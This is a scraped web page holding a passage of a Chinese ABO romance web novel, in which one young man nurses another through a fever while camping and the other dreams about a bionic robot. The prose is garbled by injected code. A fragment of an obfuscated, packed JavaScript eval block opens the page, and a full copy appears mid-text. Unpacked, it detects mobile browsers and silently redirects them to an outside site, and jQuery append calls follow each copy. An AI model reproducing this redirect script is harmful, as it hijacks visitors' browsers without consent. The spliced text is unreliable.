l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17297469|198600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的树林里,只有傅舟行偶尔踩断枯枝的轻响。 …… 回到营地时,江竹白立刻迎了上来,看到傅忘言这副样子,一阵后怕。 确认人没事后,也松了口气,在傅舟行简洁的说明下,知道只是迷路被吓着了,便也放下心来。 夜色已深,明日还得玩一天呢。两人嘱咐几句,便各自回了帐篷休息。 傅舟行将傅忘言小心地放在他们的帐篷里,替他脱掉沾了泥污的鞋袜。 脚踝的红肿需要重新处理,但他手头没有冰袋,只能用冷毛巾稍微敷一下。接着,他去火堆边将还剩下的粥重新加热。 热腾腾的粥端到傅忘言面前时,傅忘言还蜷缩在睡袋里,嘴唇也没什么血色。 吓得不轻…… 傅舟行担心他碗都拿不住,到时候洒了一床,两人都睡不了。还是给人扶起来,又拿起勺子喂到嘴边,“张嘴。” “这饭闻着好香,你做的吗?” 傅忘言含糊不清说。 “嗯。”傅舟行一勺接着一勺的喂,等傅忘言说够了的时候也没有强迫他,只是起身打算将碗放回去。 没走两步,衣袖就被傅忘言抓住,“你去哪里?” “我把碗放到外面。”傅舟行半蹲着,知道傅忘言是后怕,继续道:“一分钟都不要,你就能看见我。” 衣袖这才被松开。 傅舟行送完碗,回来再简单给自己收拾了一下,钻进了睡袋。帐篷里空间有限,两个睡袋并排铺着,距离很近。 傅忘言闭着眼,但长长的睫毛一直在颤动。 应该是睡着了,傅舟行抬手将灯光熄灭,准备进入睡眠。这一天他够折腾了,爬山就爬大半天,剩下的时间就是找傅忘言还有做饭,他也有点累了。 没过多久,傅舟行就感觉到身边窸窸窣窣的动静,他能感觉到旁边的睡袋在挪动,然后,一点点地,朝着他这边靠了过来。 傅舟行身体微微一僵。他不习惯与人如此近距离接触,尤其是这种,两人睡在一起,几乎算是依偎的姿势。他沉默了几秒,然后伸出胳膊,想给傅忘言推开点。 视野有限,他一下子按到了傅忘言脸上,不正常的热度灼烧着他的指尖。他立刻清醒,摸到放在枕边的手电,拧亮最低档的光。 光束下,傅忘言的脸红得极不正常,不是害羞或运动后的红润,而是一种病态的潮红,嘴唇干燥起皮,眉头紧蹙,即使在睡梦中,也显得十分难受。 傅舟行伸手探了探他的额头——发烧了。 恐怕是傍晚受惊、林中受寒,几重因素叠加,终于让这副本就娇气的身子扛不住了。 傅舟行的眉头紧紧锁起,眸色沉暗。他迅速起身,在自己的背包里面翻找起来,还好他事先都有做攻略。他轻轻摇醒昏睡的傅忘言:“傅忘言,醒醒,你发烧了,吃药。” 傅忘言被烧得迷迷糊糊,半睁着眼,眼神涣散,含糊地哼唧着,却乖顺地就着傅舟行的手,吞下了药片,喝了几口水。 喂完药,傅舟行用冷毛巾不断擦拭他的额头和脖颈,试图物理降温。 但傅忘言烧得晕晕沉沉,无意识地往傅舟行身边蹭,抓住他的衣角,像是抓住唯一的浮木,嘴里还含糊地一会念叨着冷一会念叨着别走。 傅舟行看着他烧得通红的脸,只能去不断更换他额上的毛巾。 这来回折腾已经到了后半夜。傅舟行看了看时间,得,今天一整天他都不用休息了。也不晓得这少爷啥时候能退烧。 傅舟行干脆将人连睡袋一起搂进怀里,垂眸看着怀中人不安的睡颜,指尖拂过他汗湿的额发,然后模仿着自己看过的那些,笨拙地拍着傅忘言的后背,动作有些僵硬。 “这么胆小?以后你一个人怎么办?没有人会一直陪在你身边。”傅舟行毫不客气地说着。 傅忘言挣扎了两下,像是要证明傅舟行说的不对,还无意识地伸出手比划,“我会…一直陪在你身边的……” “……” 怀里的人哼哼唧唧的,随后渐渐平复了些许,呼吸也慢慢变得均匀绵长,沉沉睡去。 16. 第 16 章 傅忘言感觉自己在蒸桑拿。 而且还是在一个密闭的空间,堵的他快要喘不过来气。 奇怪了。傅忘言低头看看自己,身上明明穿的是短衣短裤,为什么这么热? 他迷迷糊糊在房间内逛了几圈,什么都没有发现。周围是空阔的,触手什么都摸不到。他是在做梦吗?脑子有点晕,现在好像丧失了一切思考能力。 出去了又能怎么样,爸爸有傅舟行了,根本不需要他。反正没人需要他,这样一想,他干脆一屁股坐在地上,摆烂了。 过去一段时间,没有刚刚那么热了。但是他脑子里面还是一片混沌,总感觉自己忘记了什么事情。 “小言……”一道温润的声音响起。 傅忘言惊喜回头,傅先生就站在他身后温柔地看着他。 他转身走过去,没有发现身边的场景变幻。本来空阔的房间逐渐生出许多酒杯蛋糕,一些客人拿起酒杯互相碰杯。 就和他生日那天的场景一样。 本来傅忘言还是慢慢走过去,直到傅先生冲他张开双臂。 如果是做梦,那一定是美梦了。 他步伐加快,跑过去,和傅先生面对面。有很多话想说又不知道该挑哪一句先说。 “小言,今天是你十八岁生日,祝你生日快乐。”傅先生这样说。 “欸?”傅忘言卡壳的大脑开始艰难地转动,“我的生日不是已经过去了吗?你还带回来一个弟弟,叫傅舟行的?爸爸你…忘记了吗?” 谁承想傅先生听到这话,面色一变,很关心的用手背贴上他的额头,“小言,你怎么了?什么弟弟?我不就你这一个孩子吗?不过……你怎么知道我送给你的礼物叫傅舟行?” 就像是提前准备好的一般,傅先生从身后推出来一个人。 和初见那天一样,一身生人勿近的气息。这不就是傅舟行吗?傅忘言有些懵,本来就晕的脑子此刻更是糊涂。 “他……他就是我弟弟啊,傅舟行嘛……” “说什么呢?不是弟弟,你想要弟弟啊,他也可以当啊哈哈。”傅先生温柔轻笑,递给傅忘言一张使用说明书和出生证明,“这是晋江文学城独家的仿生机器人,批次9832735,编号002。我给他取了个名字,叫傅舟行。” 傅忘言无心去听傅先生说了什么,他将出生证翻来覆去看了十几遍都不敢相信,他真的是在做梦吧?傅舟行不是他爸认回来的弟弟吗?那天,不是他把傅舟行错认成仿生机器人的吗?怎么都倒过来了。 难道他记忆出问题了? 他又抬头看向“傅舟行”,面容气质身材都和傅舟行一般无二。不过仿生机器人没有被启动,瞳孔是黯淡的,眼睛空洞的目视前方。傅忘言伸出手捏了捏“傅舟行”的脸,这次没有躲开。 傅忘言觉得手感蛮好的,又捏了好几下,机器人都没有反应。 好像……真的是仿生机器人。 那他记忆里的那些是什么?他根本没有和小白出来玩吗? “小言!快过来!宴会开始了,你是主人公,大家都在等你呢!” 傅忘言不再思考,他又看了一眼机器人,转头向傅先生跑过去。 “来啦!” 管他是真的还是假的呢。 接下来的一切都是那么梦幻,傅忘言在懵懂中接受了这个礼物,接受了宾客们的祝福。 宴会结束,他晕乎乎地回到自己的房间,连同他一起回到房间的,还有那个仿生机器人。 傅忘言拿起说明书看看怎么启动。他之前一直想要一个,现在意外得到可不得好好体验下。也不管是不是梦境了,毕竟这里的一切都是那么真实美好。 说明书上面说了几点。 “机器人是认主的,睁开眼看见的第一个人就视为主人。但需要注意的是……认主不是绑定终身程序。如需终身绑定,必须去到联盟婚姻局进行登记,一旦机器人已婚状态录入后……无法更改……嗯…应该的。” 不然跑到大马路上见一个认一个主人像什么样子。 提到这个,傅忘言脑海里面都开始有画面了,一想到机器人顶着一张傅舟行的脸,喊他主人的样子,他还有点小期待呢。 先认主,再结婚,完美完美。 傅忘言沉浸在自己的幻想里面,害羞地在床上滚来滚去。又觉得自己这样好像一个变态,又立刻坐起来。 “嗯咳嗯咳,想什么呢。下一条下一条,机器人是需要充电的,充电方式有亲密接触……比如拥抱,牵手,接…接吻?” 原来接吻也能充电吗? 原来不是在舱内充电吗?!哪怕用线呢?傅忘言想:高级货的充电方式还真是不一样!他继续看下去,“还有……这?”后面还有什么傅忘言念不下去了,哪怕他现在脑子不太清醒,也看清了纸上写了什么东西。他脸上迅速爬上红晕,好像看见了什么脏东西,一把将说明书扔开,“这算什么充电方式!” 他之前看的仿生机器人明明是普通插线充电的! 继续看下去,下面几条傅忘言还记得,都是一些机器人保养之类的。他看完努努嘴,养一个机器人,需要很多钱啊。 还好他有钱。 不过这密密麻麻的说明书上,关于开机的事宜,一点都没提。 但这难不倒他,之前感兴趣的时候就已经把仿生机器人的操作步骤了解透彻了,除非是个人定制的。 他直接上手摁在了脖颈处,没有摸到开关,等了几秒,机器人一点反应都没有。难道不是这样启动的?但是他刚刚明显感觉机器人动了一下。 说明书就掉落在旁边,他蹲下查看又站起来。 仅仅是蹲下了一会,站起来的时候傅忘言还是感觉眼前黑了一瞬。 头还是很晕,他没喝酒啊?喝了点果汁而已,为什么这么晕啊?说到果汁,苦死了。傅忘言吐了吐舌头,表示对果汁的不满。 仔细看,最下面还有一行标黑标粗的小字:该机器人是全能型的,可以满足您任何需求哦~ 哦~难怪呢。 机器人负责的事情不同,开关也不同。像普通的机器人,就是可以做家务那种,开关就在腺体处。不普通的那些,一般都是买来那啥那啥的。 哈哈哈!有钱人玩的花,他懂。 哎呀,但他目前不需要啊!傅忘言头更疼了。爸爸也真是的,他就是喜欢那种可以让他做事情轻松一点的,可以偷懒的,比如做饭的时候输入菜系教程就能复刻一模一样的机器人。 这一下子给他从少年频道给他踢到成人频道不太好吧。 虽然他已经成年。 他之前想结婚,也就是太喜欢…傅舟行那张脸了,绑定后就是他的了,不会被随便捡走。 果然是色字头上一把刀。 算了,先启动机器人看看再说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17297470|198600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “我记得是……是有这样的启动方式的。”傅忘言站起来绕到机器人后面,摸上脖颈处的位置,那里有个小凸起。他打算来个死马当活马医,接下来毫不犹豫对准机器人后脖颈的凸起位置亲上去。 唇瓣触及到一片冰凉,冰的傅忘言一激灵。他重重呼吸了一下,滚烫的气息落在机器人皮肤外层。 他记得特殊机器人的开关方式,好像是这样。 “机器人”动了,反应还挺大,果然他的记忆没出错。傅忘言刚想给他下达指令,就察觉到了不对劲。 机器人启动后不是会有个瞳孔扫描认主程序吗?他的这个“机器人”怎么没有,就是呆愣愣看着他,不认主的话,和谁都能跑了。 “002,”傅忘言拍了拍眼前“傅舟行”的脸,借“果汁壮胆”,“你该……启动认主程序了。” “傅舟行”看着他,眼神里面充满了疑惑,“什么?” 太逼真了!声音都和傅舟行一样。傅忘言内心的小九九又开始蠢蠢欲动,好想看傅舟行顶着一张高冷禁欲的脸喊他主人。 “哎呀,你这个机器人是不是残次品啊?好笨。”傅忘言憋着嘴不满道:“喊我主人啊。” “……” 002依旧是沉默地用疑惑的眼神看着他。 傅忘言却突然想起来,他这个机器人是特殊的啊。 特殊机器人的认主程序也是不一样的。 “错怪你了,你让我想想认主程序……”傅忘言嘟囔着,他脑海里的记忆断断续续,好在从某个犄角旮旯的地方搜寻到了这一段。 他差点忘记了,还要说指令的…… “你愿意……”傅忘言搂住机器人的脖子,凑过去,一字一句,“和我结婚吗?” 天刚蒙蒙亮,太阳还没升起,透蓝的天上只有稀薄的几片云朵,没有阳光并不暖和。帐篷里面 ,两个人的体温却在升高。 “你愿意,和我结婚吗?” 傅舟行看着面前傅忘言放大的脸,一时间也没想好作何反应,只本能的侧过脸躲了一下。 刚刚半夜,这大少爷就嘴里念叨着什么,叽里咕噜的,傅舟行还以为他退烧了,起身查看。 傅忘言先是睁开眼睛坐了一会,眼神并不清明,看起来像是梦游。梦游的人不能被打断,所以傅舟行就光看着,也没做什么动作。 少爷干坐了一会,又开始说胡话。 什么机器人,什么程序,还有什么跟人跑了……都什么乱七八糟的。一会摸他脸一会摸他腺体。发个烧脑子烧坏了吗?Alpha的腺体怎么可以随便摸。 没想到傅忘言不仅敢摸还敢亲,比两人初见那晚还要大胆。他立刻转头想质问傅忘言是不是戏弄他,可一对上傅忘言的眼神,依旧是没有焦距,考虑到梦游的因素,还是没有选择把人推开。 直到唇角传来不属于他的触感。 就是这么轻轻贴了一下,也给傅舟行带来不小的震撼。什么梦游的人不能被叫醒也被他抛到脑后,他一把将傅忘言推开。 这一下用了半成力气,营地灯被撞倒,帐篷内骤然失去照明,昏暗下来。房间内温馨的暖黄色调突然变成冷淡的灰色调。 “唔……” 傅忘言动了动眼皮,眼前的景物开始慢慢清晰,等完全清醒过来时,完全傻掉了。 帐篷…他怎么到这里了?机器人怎么这个表情啊?